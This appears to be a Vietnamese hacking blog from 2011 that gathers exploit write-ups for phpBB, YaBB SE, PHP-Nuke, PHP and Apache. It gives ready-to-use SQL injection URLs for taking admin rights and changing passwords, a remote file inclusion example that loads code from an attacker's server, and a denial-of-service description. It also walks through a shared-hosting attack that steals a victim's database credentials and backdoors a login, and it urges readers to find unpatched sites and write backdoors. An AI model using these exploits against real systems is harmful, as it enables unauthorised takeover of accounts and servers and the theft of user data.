Thứ Sáu, 25 tháng 2, 2011

Lỗi trong phpBB 1.4.x có phép đoạt quyền Admin


Các forum phpBB 1.4.x có một lỗi rất nghiêm trọng cho phép một user bình thường có thể chạy đoạn lệnh cho phép cập nhật vài thông tin trong preferences để có được quyền admin.
Một trong số lỗi được tìm thấy trong đoạn code sau:
< Example sql query in prefs.php >
$sql = "UPDATE users SET
user_viewemail='$viewemail',
user_theme='$themes', user_attachsig = '$sig',
user_desmile = '$smile', user_html = '$dishtml',
user_bbcode
= '$disbbcode', user_lang = '$lang' WHERE
(user_id = '$userdata[user_id]'";
</ End example code >
Để khai thác, ta chạy lệnh modify prefereces trong file prefx.php, bằng cách xác định một giá trị cụ thể cho biến viewemail.
Vd sau sẽ đặt cho một username maxx có quyền admin (privilege level 4):
http://k.domaindlx.com/clairsang/sitename/phpbbfolder/prefs.php@save=1&viewemail=1',user_level_253d'4'%20where%20username_253d'maxx'_2523
Lệnh này sẽ chạy lệnh sql cập nhật thông tin về viewemail đồng thời cả user_level.
Như vậy, các bước cần thiết để thử test hack một forum dạng này như sau:
- Đăng kí 1 acc
- Login vào với acc vừa đăng kí
- Chạy link ở vd trên
- Nếu thiết lập preferences thành công (ko báo lỗi), bạn return lại forum index và vào Administration Panel ở cuối forum.
Lưu ý có một vài forum sau khi set preferences thành công, vẫn ko thấy Administration Panel, bạn có thể thử vào theo link sau: /phpBBfolder/admin/index.php (như forum pregnancy.org ở dưới)
Các bạn có thể tìm thêm các forum phpBB 1.4.x chưa fix trên net, search theo từ khóa ví dụ như: "powered phpbb 1.4.0"

Lỗi bảo mật trong Yabb, cho phép truy cập trái phép từ xa


YaBB là một free software forum được dùng khá phổ biến hiện nay. Lỗi được tìm thấy trong Version 1.50 trở về trước. Trong yabb forum phần thư mục source có một file Packages.php trong những dòng đầu của file này có thể cho phép tin tặc truy cập trái phép từ xa và dùng các lệnh nguy hiểm .
xin tham khảo thông tin đầy đủ dưới đây:

All versions prior to 1.5.0
----------------------
Vulnerability:
----------------------
YabbSE keeps all of it's function includes in a directory called "Sources" which
is not protected. Inside this directory a file called Packages.php exists. This
file is supposed to be included and not called directly, but if an attacker calls
it directly he/she may cause the script to run remote arbitrary code.
Bellow are a couple of the first lines in Packages.php:

********
..

global $adminplver;
$Packagesphpver="YaBB SE 1.4.1";

$safe_mode = ini_get("safe_mode");

$pacmanver = "1.4.1";

include_once("$sourcedir/Packer.php");

..

********

We can see here that the variable $sourcedir is never defined and therefore may be
defined through global injection.
Example:

http://victim/yabbse/Sources/Packages.php?...ttp://attacker/

where the attacker server has a file called Packer.php.
An attacker may execute remote code on the server with webserver permissions.

Side-note: An attacker may also use this file for XSS attack on the server.

----------------------
Solution:
----------------------

Please check the vendor's website for new patches.

As a temporary solution, create a .htaccess file that contains 'Deny from all'.
Place it in the /Sources/ directory and that should block remote users from accessing it.

----------------------
Greetz:
----------------------

Hawkje, Truckle, Cyon, daemorhedron, Mithrandir

<------- ------->

Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2

Big $$$ to be made with the HushMail Affiliate Program:
https://www.hushmail.com/about.php?subloc=a...affiliate&l=427
           

Hack Php-Nuke, lỗi SQL injection, Versions: 6.x (kể cả 6.5) y 5.x


Thông tin:
+ Type: SQL injection.
+ Software: PHP-Nuke
+ Versions: 6.x (kể cả 6.5) y 5.x
+ Exploit: Yes

Giới thiệu:
 PhpNuke là một hệ thống quản lý nổi tiếng được lập trình bằng ngôn ngữ PHP bởi Francisco Bucci.

Mô tả:
Module Web_Links ở trên PHP-Nuke có nhiều lỗi SQL injection (hơn 20). User có thể chèn mã SQL vào hấu hết các gí trị thuộc số mà được include trong query, do người viết mã không dùng dấu ngoặc kép.
Khai thác:
Nếu tác nhân SQL cho phép ta dùng một câu UNION (như MySQL 4) nó có thể lấy thông tin ra từ bên trong bất kỳ cơ sở dữ liệu nào, tất nhiên là bao gồm cả password, dữ liệu cá nhân, etc. Mặt khác, nếu không có UNION ta không thể truy cập vào những table khác của SQL do web links quản lý, vì vậy chỉ có cách là chơi với hit và vote.
Ví dụ:
Ở hàm viewlink:
$result = sql_query("select title,parentid from
".$prefix."_links_categories where cid=$cid", $dbi);
+http://victim/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=2%20<code của bạn>
Thêm vài lỗi SQL injection
Ví dụ:
Ở hàm getit
sql_query("update ".$prefix."_downloads_downloads set hits=hits+1 WHERE lid=$lid", $dbi);
       $result = sql_query("SELECT url FROM ".$prefix."_downloads_downloads
WHERE lid=$lid", $dbi);
+http://www.caxa.ru/modules.php?name=Downloads&d_op=getit&lid=2%20<our_code>

Ở hàm search
$result = sql_query("SELECT lid, cid, title, url, description, date, hits,
downloadratingsummary, totalvotes, totalcomments, filesize, version, homepage
FROM ".$prefix."_downloads_downloads WHERE title LIKE '%$query%' OR
description LIKE '%$query%' ORDER BY $orderby LIMIT $min,$downloadsresults", $dbi);
+http://www.caxa.ru/modules.php?name=Downloads&d_op=search&min=2%20<our_code>
           

Đổi passAdmin bằng VB


Các bạn thử nghiên cứu và hoàn thiện Function này nhé !
Public Function ChangePassword(UserName As String, NewPassword As String) As Boolean
'EXAMPLE: ChangePassword "Administrator", "adminpassword"

Dim conn As New ADODB.Connection
Dim rs As ADODB.Recordset
Dim oRoot As IADs
Dim oDomain As IADs
Dim sBase As String
Dim sFilter As String
Dim sDomain As String
Dim sAttribs As String
Dim sDepth As String
Dim sQuery As String
Dim user As IADsUser
On Error GoTo errhandler:
Set oRoot = GetObject("LDAP://rootDSE")
'work in the default domain
sDomain = oRoot.Get("defaultNamingContext")
Set oDomain = GetObject("LDAP://" & sDomain)
sBase = "<" & oDomain.ADsPath & ">"
'Only get user name requested
sFilter = "(&(objectCategory=person)(objectClass=user)(name=" _
& UserName & "))"
sAttribs = "adsPath"
sDepth = "subTree"
sQuery = sBase & ";" & sFilter & ";" & sAttribs & ";" & sDepth
conn.Open _
"Data Source=Active Directory Provider;Provider=ADsDSOObject"
Set rs = conn.Execute(sQuery)
With rs
If Not .EOF Then
Set user = GetObject(rs("adsPath"))
user.SetPassword NewPassword
ChangePassword = True
End If
End With
errhandler:
On Error Resume Next
If Not rs Is Nothing Then
If rs.State <> 0 Then rs.Close
Set rs = Nothing
End If
If Not conn Is Nothing Then
If conn.State <> 0 Then conn.Close
Set conn = Nothing
End If
Set oRoot = Nothing
Set oDomain = Nothing
End Function  


Exploit Code Released for Apache 2.x Memory Leak


>II. DESCRIPTION
>

>Remote exploitation of a memory leak in the Apache HTTP Server causes the

>daemon to over utilize system resources on an affected system.
The problem
>is HTTP Server's handling of large chunks of consecutive linefeed
>characters. The web server allocates an eighty-byte buffer for each
>linefeed character without specifying an upper limit for allocation.
>Consequently, an attacker can remotely exhaust system resources by
>generating many requests containing these characters.


This is partially correct. Rather than "many requests containing these characters", the more effective strategy is "many instances of this character (these characters)".

>III. ANALYSIS
>

>While this type of attack is most effective in an intranet setting, remote

>exploitation over the Internet, while bandwidth intensive, is feasible.

>Remote exploitation could consume system resources on a targeted system
>and, in turn, render the Apache HTTP daemon unavailable.


Isn't that the truth? In a few minutes, my Apache used some 390 MB of memory when tested. The statement that only 80 bytes is lost per newline understates the issue in my opinion. If we multiply:


2 newlines: 160 bytes
4 newlines: 320 bytes
8 newlines: 640 bytes
16 newlines: 1280 bytes
32 newlines: 2560 bytes
64 newlines: 5120 bytes
128 newlines: 10240 bytes
256 newlines: 20480 bytes
512 newlines: 40960 bytes
1024 newlines: 81920 bytes


Worse, Apache doesn't require any form to the request what-so-ever, so 1 KB of 0x0A's is just as good as a well-formed request. Let's continue:


2 KB: 163840 bytes
4 KB: 655360 bytes
8 KB: 1310720 bytes
16 KB: 2621440 bytes


That's nearly 2 MB leaked in response to 16 KB. And, this is just baseline figures of the actual leak itself, and doesn't take into account various other factors, including:


* Other use of memory by Apache
* The resources associated with the web session


>iDEFENSE has performed research using proof of concept exploit code to
>demonstrate the impact of this vulnerability.


I'm not seeing any example code, so let's try the attached.
"apache-massacre.c" allows the user to target a host/port of choice. It uses a single-connection method, and is stopped with a simple CTRL+C interrupt.


It sends the data (which is patterns of "\r\n") in "chunks". It sends a pre-specified number of character sequences, and then checks the interrupt flag for a request to terminate. Deployed on a high-bandwidth connection (or a low-bandwidth connection with a lot of time to spare), Apache is
disabled within seconds.


The attached code compiles cleanly on Win32, and *should* compile on any system that is POSIX-compliant, and offers a BSD socket interface.


>A successful exploitation scenario requires between two and
>seven megabytes of traffic exchange.


I hate to say, but I wonder where these figures come from. Obviously, a machine with a 16 MB RAM and a 512 MB hard drive is going to run out of resources incredibly faster than a machine with 512 MB RAM and a 100 GB hard drive is. Also, "between two and seven megabytes of traffic exchange" is very possible with a DDoSnet of some kind. With 10 connections at 1 mbps each (for a combined speed of 10 mbps), approximately 1,750,000 bytes (1.25 MB) is exchanged each second. This same speed is reached by the full upload rates of many LAN-based providers (schools, for instance). Further, a single cable modem has a link rate of 10 mbps, held down only by ISP capping.


In the situation of such a network (or, a single uncapped cable modem), the entire traffic exchange rate is hit within one second. 

Thứ Hai, 21 tháng 2, 2011

Nghiên cứu về những lỗi bảo mật trong PHP



Hẳn các bạn biết đến ngôn ngữ lập trình php qua nhưng site đối thoại với nhưng người dùng . php là 1 ngôn ngữ mạnh nó giup tiết kiệm dung lượng file và làm cho quá trinh duyệt trở nên nhanh hơn . Ngôn nhữ PHP là 1 ngôn ngữ mạnh viết cho mạng , nó có thể execute nhưng ra lệnh của người sử dụng để đem đén cho người dùng 1 hiệu quả làm việc nhanh nhất .
Ngôn ngữ PHP phục vụ cho mạng có nhưng đặc tính sau :
Phiên Dịch
Thực hiện nhanh - không có fork() , hoặc khi cài đặt php không có gì khó khăn Giàu đặc tính - Có nhưng điều không bình thờng trong hàm "builtin" Có cú Pháp đơn giản - Chú ý đến hàm wordy .

Qua đây tôi sẽ có gắng giải thích về sự bảo mật và tấn công khi ta thêm nhưng ký tự vao nhưng file PHP thông qua 2 đặc tính cuối cùng .

những cảnh báo và phạm vi

Ta có thể cài đặt PHP 4.0.4pl1 (voi MySQL, PostgreSQL, IMAP va OpenSSL support enabled) chạy như 1 modun dưới Apache 1.3.19 trên 1 máy Linux
những biến trong PHP không phải được khai báo , chúng tự động được tạ ra lần đầu khi chúng sử dụng . Đây là 1 đặc tính hữu ích rõ ràng trong một ngôn ngữ phát triển nhanh ứng dụng .

Khai Thác :

Ok ! Chúng ta bắt đầu khai thác những vấn đề bảo mật trong PHP .
Ví dụ ta có 1 HTML snippet :

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello" size="20">
<INPUT TYPE="SUBMIT">
</FORM>

Cái này rõ ràng trình bày 1 hộp văn bản và 1 nút bấm . Khi nào ngờ dùng nhấn sumit thì file test.php sẽ được chạy để xử lý đầu vào . Khi nó chạy biến chứa trong hộp văn bản sẽ được ghi vào . Chính nhờ vào điều này mà những người muốn tấn công hệ thống từ xa có thể tạo ra bất kỳ biến nào mà chúng muốn và nó được khai báo trong global namespasce . Nếu thay vào đó việc sử dụng mẫu để ở trên để gọi test.php , một Hacker gọi nó trực tiếp với 1 URL :

"http://server/test.php?hello=hi&setup=no" nó sẽ được thực thi với nhưng biến mới .

Một Ví dụ trong việc dùng file test.php dùng để đăng nhập mật khẩu :

<?php
if ($pass = "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

Trong thao tác bình thường ở trên mã sẽ kiểm tra mật khẩu để quyết định phải chăng người dùng từ xa đã thành công trong việc đăng nhập . Nhưng bạn hãy nhớ ràng 1 Hacker có thể tạo ra nhưng biến trong global namespace .
Với 1 url ta có thể vượt qua được sự kiểm ra password :
http://server/test.php?auth=1

Bạn sẽ có quyền vào những nơi mà không có quyền vào .

Chúng ta hãy quan tâm tìm hiểu về những mảng như : HTTP_GET/POST_VARS[] ;HTTP_GET_VARS ; HTTP_POST_VARS ; HTTP_COOKIE_VARS ; HTTP_POST_FILES ; HTTP_POST_FILES ,
Thật sự tôi không thể giải thích cho các bạn những thẻ trên có tác dụng gì cho Hacker . Mình xin trả lời , Bạn có thể tìm kiếm thông tin như cookie , có khả năng xử lý file , nếu như bạn có thể đưa ra những biến thích hợp .


Remote File (Điều khiển file từ xa)

Bạn hãy xem đoạn mã sau :

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>

Đây là code dùng để cho phép đọc 1 file , và thông báo lỗi khi không có file . Cái này nói lên rằng ta có thể đọc file password /ect/passwd nếu thông qua 1 Script
Ta có thể ví dụ :

"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

PHP sẽ ra lệnh cho 1 HTTP request tới server và cố gắng khai thác sự bất thường trong Unicode .

Chính nhờ sự hỗ trợ của các hàm include(), require(), include_once() and require_once(). sẽ giúp chúng ta thực hiện được nhưng Script . thông qua Url

Bạn hãy xem đoạn code sau :

<?php
include($libdir . "/languages.php");
?>

Trong đó file languages.php có nội dung sau :

<?php
passthru("/bin/ls /etc");
?>

Vậy khi $libdir được gửi tới
http:/// ( một webserver ) thì PHP sẽ ra lệnh cho 1 HTTP request tới /ect và trả lại 1 danh sách của /etc tới browser của người dùng . Chính vì đó mà Hacker có toàn bộ thông tin trong server nếu họ muốn .

File Upload

Trong khi ngôn ngữ PHP chưa cung cấp đủ cho nhưng Hacker để làm cho cuộc sống dễ chịu hơn , thì ngôn ngữ hỗ trợ cho RFC 1876 đặt cơ sở làm cho việc upload file dễ dàng hơn .
Bạn hãy xem đoạn code sau :

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello" size="20">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

Mẫu dạng này sẽ cho phép người dùng browser tự lựa chọn nhưng file trên máy tính của mình rồi upload tới người phục vụ mạng từ xa . Rõ ràng đây là một cách upload tốt nhưng sự đáp lại của PHPs chính là tiềm tàng nguy hiểm . ở mẫu trên khi ta upload file thì PHP bắt đầu phân tích nội dung file upload , thẻ $MAX_FILE_SIZE quy định chỉ những file có dung lượng tối đưa là 10240 b mới được phép upload . Sau khi qua sự kiểm tra của PHP nó sẽ cho phép ghi lên ổ cứng vào 1 vùng tạm thời .

Các bạn hãy xem mẫu ví dụ sau :

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

người tấn công có thể gọi trực tiếp ra trên Browser :
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt

Hoặc xem code sau :

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

He he .... Tất cả nội dụng của những bí mật sẽ được phơi bày qua những thẻ upload như thế này .

Tuy nhiên ở những phiên bản mới hơn của PHP có đưa ra phương pháp hữu hiệu trong việc quản lý file và dò xét file upload . Họ đưa ra mảng HTTP_POST_FILES[] Nhưng có rất nhiều webserver vẫn sử dụng những phiên bản cũ .

Trong khi xem xét kẽ tấn thông qua chỗ upload hãy xem mã PHP sau :
<?php if (file_exists($theme)) // Checks the file exists on the local system (no remote files) include("$theme"); ?>

Nếu người tấn công có thể điều khiển $theme thì họ có thể đọc được toàn bộ nội dung trong hệ thống , thậm chí họ có thể thực thi các file trên hệ thống . Vì vậy người tấn công bắt buộc phải có những mã PHP này để tạo ra những biến mới để đưa vào trong PHP nguyên bản . Và rồi sự kiểm tra của file_exist sẽ được thông qua và mã sẽ được chạy .

Còn 1 số phần bảo mật trong PHP nữa nhưng nó cũng không quan trọng . nếu các bạn có thời gian thì nên xem Library Files .

Tôi viết bài này dành cho những người lập trình PHP (nếu bạn không biết về ngôn ngữ PHP đành chịu)

Bạn hãy viết những con Backdoor cho hệ thống Linux nếu bạn muốn . Giống như con remview thì tuyệt đấy chứ .
                       

Lỗi trong PHP-Nuke cho phép đạt quyền Admin , thay đổi pass user khác


PHP-Nuke có một lổ hổng bảo mật cho phép các attacker sử dụng PHP-Nuke's News module để chèn các câu lệnh SQL nguy hiểm vào, có quyền Admin, sửa password…
Các phiên bản PHP-Nuke bị lỗi:
PHP-Nuke 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, và 6.5
Khai thác
1/ Thay đổi cấp bậc (set to Admin):
Sử dụng link sau:
http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4
Khi ta sử dụng những URL trên thì nó sẽ làm thay đổi cấu trúc các câu lệnh SQL:
UPDATE nuke_users SET umode='111', uorder='111', thold='111' where uid='1526'
Thành:
UPDATE nuke_users SET umode='', user_level='4', uorder='111', thold='111' where uid='1526'
Câu lệnh trên đã set một người dùng có UID là 1526 từ một cấp bất kì lên cấp 4. Hehehe nó sẽ cho ta những đặc quyền cao cấp của Admin (level 4 là cấp của Admin mừ :D). Để chắc ăn là thành công, bạn nên đăng nhập vào hệ thống đó (nhằm có được uid=’****’ hiện thời đang truy cập cơ sở dữ liệu của victim để mà set lên Admin chứ)
2/ Thay đổi Password của một người nào đó.
Sữ dụng link sau:
http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*
URL trên cho phép ta đổi password của một nười dùng tên Bob thành d41d8cd98f00b204e9800998ecf8427e vì khi thực hiện dòng URL này thì những câu lệnh của SQL từ:
UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e', thold='111' where uid='1526'
Thành:
UPDATE nuke_users SET umode='111', uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='Bob'/*', thold='111' where uid='1526'
Password được đổi một cách ngon ơ. :D
Khắc phục
Trong tập tin mainfile.php sữa những dòng sau:
[...]
foreach ($_GET as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
(eregi("\.\.", $secvalue)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
(eregi("\"", $secvalue))) {
Header("Location: ");
die();
}
}
foreach ($_POST as $secvalue) {
if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
Header("Location: ");
die();
}
}
[...]
Thành:
foreach ($_REQUEST as $key=>$value) {
if (get_magic_quotes_gpc()==0) {
$value = addslashes($value); // This will reproduce the option
magic_quotes_gpc=1
}
$value =
str_replace(array(')','=','<','>','|'),array(')','=','<','>','|'),$value);
${$key} = $value;
$_REQUEST[$key] = $value;
if (isset($_POST[$key])) { $_POST[$key] = $value; }
if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
if (isset($_GET[$key])) { $_GET[$key] = $value; }
if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; }
if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = $value;
}
if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; }
if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
Hack vui vẻ…
Chú Ý:
Để thực hiện được phương pháp tấn công này bạn làm theo mấy bước sau:
1/ Đăng kí làm thành viên ở trang của victim.
2/ Đăng nhập và trang đó với tài khoản vừa tạo.
3/ Copy link của tôi trong bài trên viết để tự set mình lên Admin (Phải đăng nhập trước khi thực hiện)
Vậy là xong...

Hack LocalSite


###### Header Begin
Project Name: How to hack a localsite
Founder: Luke/Lukos
Found day: 31/08/2002
Use for Education and Experiences Only
###### Header End
Rất tình cờ, khi học PHP tôi tìm ra một cách để hack được một số Web Portal hoặc forum của hầu hết các free hosting như lycos.co.uk vv. Và tỉ lệ thành công là 100% tuy hơi mất thời gian
Trước hết cách này gần như kiểu hack qua Local Exploit để lấy Root's passwd, cái này chắc nhiều bạn cũng đã biết nhưng cũng khác chút ít. Vì vậy tôi cũng chỉ xin lấy một ví dụ là hack phpBB forum để làm mẫu chung cho các kiểu Portal hay forum khác.
Bước 1. Xác định URL website cần hack.
Do đây là free hosting nên website luôn có dạng
http://k.domaindlx.com/clairsang/root/yoursite
Và giả sử forum phpBB nằm tại URL sau
http://k.domaindlx.com/clairsang/root/victim/phpbb_path/default.htm
Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..
Bước 2. Đăng kí một hosting cùng trên server đó.
Vì đây là free hosting nên nếu victim đăng kí được thì bạn cũng có thể đăng kí dễ dàng
Giả sử bạn đăng kí một hosting như sau
http://k.domaindlx.com/clairsang/root/mysite/default.htm
Bước 3. Xác định DB info của Victim
Điều này rất dơn giản khi bạn với victim đang cùng trên một Local
Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ thuộc Control Panel của Server là lọai gì (Cpanel, Plesk, Enxim..). Nhưng điều này không cần chú ý.
3.1 Bạn tạo một file để lấy DB info của victim như sau
## getdb.php begin
<?php
$fd = fopen ("../victim/phpBB_path/config.php", "r");
while (!feof ($fd)) {
$line = fgets($fd,4000);
print $line;
}
fclose ($fd);
?>
## getdb.php end
Bạn có thể thay $fd bằng đường dẫn tới bất kì file php mà bạn muốn xem mã nguồn của nó. Vì đối với các loại Portal hoặc forum khác có thể DB Info không chứa trong file config.php như của phpBB
3.2 Upload file getdb.php
Bạn chỉ việc upload lên hosting mà bạn vừa đăng kí
http://k.domaindlx.com/clairsang/root/mysite/getdb.php 3.3 Lấy DB info của victim
Chạy file getdb.php vừa rồi trên Browser của bạn. Bạn sẽ thấy một màn hình trắng (blank). Đừng lo, bạn hãy "View source" và bạn sẽ thấy được các thông tin như sau
## getdb.php's source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## getdb.php's source end
Xong bước thứ 3
Bước 4. Kiểm tra mật khẩu mà bạn vừa lấy được.
Với nick Admin trong forum và tất cả những gì có thể liên quan như passwd e-mail, hosting, domain .. Vì có thể nạn nhân dùng 1 passwd cho tất cả những mật khẩu của mình cho đỡ quên. Đây là một trong những thói quen chết người
Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 5
Bước 5. Tạo một mirror phpBB forum. 5.1 Nghĩa là sao ? bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của bạn http://k.domaindlx.com/clairsang/root/mysite/default.htm
Và đừng Install forum này nếu bạn muốn hack nó.
5.2 Config forum vừa upload
Bạn hãy config cho forum của bạn thực sự là một mirror của victim's forum.
Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được DB info của victim trong tay.
5.2.1 Tạo file config.php
Đó là toàn bộ những gì bạn vừa "view source" được
## config.php source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## config.php source end
5.2.2 Upload config.php
Bạn upload đè lên file config.php trong cái forum mới toanh mà bạn vừa upload.
http://k.domaindlx.com/clairsang/root/mysite/config.php 5.2.3 Thử lại
Bạn thử gõ
http://k.domaindlx.com/clairsang/root/mysite/default.htm xem, nếu mà forum của bạn có các thông số y hệt như của http://k.domaindlx.com/clairsang/root/victim/phpbb_path tức là bạn đã thành công bước này
Bước 6. Sửa mã nguồn Mirror Site
Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin panel của nó.
Nếu bạn học PHP thì việc này khá dễ dàng.
Tôi xin nêu ra 1 phương pháp, đó là cách crack cổ điển.
6.1 Crack cổ điển
6.1.1
Đó là khi bạn muốn crack passwd 1 file exe, bạn có thể deassebler nó ra thành file.asm bằng nhiều chương trình hiện nay
6.1.2
Tìm các lệnh nhảy có điều kiện (JP gì đó. Cái này có hàng đống mà). của đoạn code dòi mật khẩu
6.1.3
Sửa thành lệnh nhảy không điều kiên
6.1.4
Compile lại thành file exe và OK. Ta nhập bất cứ mật khẩu nào vào nó cũng chấp nhận
6.2 Sửa mã nguồn
Sửa ở file login.php và sẽ cho phép bạn Login dưới mọi nickname bằng 1 passwd chọn sẵn
6.2.1 Chọn mật khẩu chung cho toàn bộ các nick.
Thực sự các mật khẩu trong phpBB đã được mà hoá theo kiểu MD5, do đó có thể rất khó khăn để có thể giải mã nó. Nếu các bạn hiểu rõ về kiêu encode này thì các bạn có thể tự tìm cho mình mật khẩu thích hợp, nếu không các bạn có thể sử dụng mật khẩu đã được tôi giải mã là: "
hainam@hainam.org"
Cái địa chỉ mail của tôi ấy mà, khi mật khẩu này được mã hoá theo MD5 nó sẽ là một mật khẩu như sau "692e2c95b693cf6fbec8ea5c40536b9e"
hainam@hainam.org => 692e2c95b693cf6fbec8ea5c40536b9e 6.2.2 Thiết lập mật khẩu chung cho toàn bộ các nick
Trước hết bạn mở file login.php ra tìm đoạn sau
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
## file login.php ..
Chèn thêm biến $hack = "692e2c95b693cf6fbec8ea5c40536b9e";
Tức là sửa đoanj mã đó thành
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
$hack = "692e2c95b693cf6fbec8ea5c40536b9e";
## file login.php ..
Tiếp đó tìm đoạn mã sau
## file login.php ..
else
{
if( md5($password) == $row['user_password'] && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Sửa đoạn mã đó thành
## file login.php ..
else
{
if( md5($password) == $hack && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Ghi lại file login.php
Bước 7.Login User với mật khẩu đã chọn
Bây giờ bạn có thể login vào diễn đàn qua website của bạn
http://k.domaindlx.com/clairsang/root/mysite/login.php với bất cứ nickname nào bằng mật khẩu mà bạn đã chọn. Ở đây là "hainam@hainam.org" kể cả là nick Admin, và vào được Admin Panel ..
Chú ý rằng ở website của bạn thì User chỉ có thể login với mật khẩu là
hainam@hainam.org chứ không thể bằng bât kì mật khẩu khác kể cả đó là mật khẩu đúng
Tổng quát
I/Phương Pháp
-Đây là một ví dụ cho việc hack các website khi trong một local, không chỉ riêng đối với phpBB mà có thể áp dụng được cho nhiều Portal hay forum khác, tuy nhiên để có thể hack được từng loại bạn đều phải hiểu rất kĩ về nó và tránh lạm dụng quá đáng.
-Cách hack này tuy mất nhiều thời gian trong việc upload một mirror nhưng rất hiệu quả. Tuy nhiên tuyệt đối không nên sử dụng chúng lung tung và bừa bãi.
-Các hosting cho phép free, điều đó chứng tỏ họ rất tốt bụng, cũng chính vì vậy cũng không nên sử dụng phương pháp này khi KHÔNG THỰC SỰ cần thiết
II/Ví dụ.
-Trước hết tôi xin lỗi những ai đã làm website **** vì tôi sẽ đưa website của các bạn ra làm ví dụ và đã là victim đầu tiên của tôi.
-Mong các bạn, những người đang muốn học hỏi thêm một chút kinh nghiệm chỉ tham qua chứ không lạm dụng gi để làm hỏng DataBase của họ, thực sự tôi đã backup nhưng tôi cũng rất ngại restore lại. Hơn nữa để đảm bảo cho các bài viết tiếp theo không bị phản đối, tôi mong mọi người hãy tôn trọng ý kiến của tôi, KHÔNG PHÁ PHÁCH GÌ DB CỦA VICTIM và mang mục đích học hỏi và tham khảo lên hang đầu.
-Website mirror của website**** là **** , tại đây các bạn có thể login vào bất cứ nickname nào trong diễn đàn **** với mật khẩu chung là "
hainam@hainam.org" . hãy nhớ là KHÔNG NÊN PHÁ DB CỦA HỌ, chi nên tham khảo
III/Kinh nghiệm
Điều quan trọng không phải là chúng ta hack được những cái gì mà là chúng ta học được những cái gì. Qua bài viết này mong các bạn nắm rõ được một số thao tác sau
-Đọc mã nguồn của một file bất kì trên website khi đã cùng một server (Bước 3)
-Kinh nghiệm về mật khẩu, dò tìm và ghi nhớ (Bước 4)
-Cách tạo một mirror website hay là cách link DB cho nhiều website (Bước 5)
-Cách crack cổ điển bằng ASM (Bước 6.1)
Các bạn nên tìm ra các mối liên hệ giữa các Portal, Forum, Guest Book, Chatroom PHP-CGI,.. để có thể áp dụng phương pháp này. Mặt khác các bạn cũng có thể hack được ngay cả đối với các domain hosting chứ không phải là các site có dạng
